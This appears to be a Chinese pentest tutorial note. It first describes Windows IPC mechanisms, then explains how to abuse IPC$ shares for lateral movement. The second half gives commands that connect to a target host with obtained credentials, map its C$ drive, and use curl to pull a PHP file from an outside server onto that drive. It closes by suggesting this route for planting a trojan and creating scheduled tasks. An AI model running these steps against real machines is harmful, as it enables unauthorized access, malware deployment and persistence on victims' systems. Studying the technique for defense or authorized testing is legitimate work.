IPC介绍
IPC,即Inter-Process Communication(进程间通信),是指在操作系统中不同进程之间进行数据交换和同步的机制。通过IPC,不同的进程可以相互通信并协调工作,这对于构建复杂的应用程序非常重要。Windows提供了多种IPC机制,每种都有其特定的应用场景和优缺点。
常见的Windows IPC机制包括
命名管道(Named Pipes):
适用于本地或网络环境中的客户端-服务器通信。
支持双向通信,并且可以在不同的机器上运行的服务之间提供可靠的、基于流的数据传输。
共享内存(Memory-Mapped Files):
通过将文件或部分内存映射到进程的地址空间,允许多个进程访问同一块内存区域。
非常适合需要高效地在进程间传递大量数据的情况。
邮件槽(Mailslots):
是一种简单的广播式通信机制,适用于一对多的消息发送。
主要用于本地网络上的消息传递,不保证消息顺序和到达。
剪贴板(Clipboard):
提供了一种简便的方法来在应用程序之间复制和粘贴数据。
适用于临时性的数据交换。
RPC(Remote Procedure Call,远程过程调用):
使一个程序能够执行位于不同地址空间(通常是在另一台计算机上)的过程。
支持复杂的分布式应用。
IPC$使用条件
开放了139、445端口:IPC$可以实现远程登陆,以及对默认共享资源的访问。开放139端口表示NetBIOS已经应用。通过139、445端口可以对共享文件和打印机的访问。
目标开启文件共享:默认共享是开启了的(net share))。
获取用户账号密码。获得账号密码之后可以利用IPC$进行访问。
IPC相关命令
查看现有共享
net share
这将列出所有已配置的共享,包括共享名、资源路径及共享的备注信息等。
创建共享
net share DataShare=D:\Data
要共享名为 DataShare
的文件夹位于 D:\Data
删除共享
net share DataShare /delete
可以使用 /delete
选项。例如,要删除之前创建的 DataShare
共享
查看本机建立的连接
net use
建立IPC远程连接
net use \\192.168.102.131
net use \\192.168.102.131 /u:"[用户名]" "[密码]"
192.168.102.131
为连接目标IP
,账号密码为目标IP
的桌面登录的账号密码
删除IPC远程连接
net use \\192.168.102.131 /delete
net use * /delete
其中*
代表的是删除全部连接。
磁盘映射(需administrator用户)
net use q: \\192.168.102.131\c$
但是在网络位置没有看到存在的有映射的磁盘过来。
在Cmd中显现所用磁盘包括映射的磁盘,命令:
wmic logicaldisk get caption,description,providername
使用远程下载命令curl
下载到映射的硬盘中
curl http://192.168.88.108:8011/1.php -o e:/users/1.php
其中命令中e:/users/1.php
为映射磁盘的位置
后续重新设置了磁盘映射
net use Z: \\192.168.102.131\c$ /user:administrator 123456
然后网络位置也存在了映射的磁盘
利用
如果获取到了密码不方便登录可以通过建立映射磁盘进行传马和创建定时任务等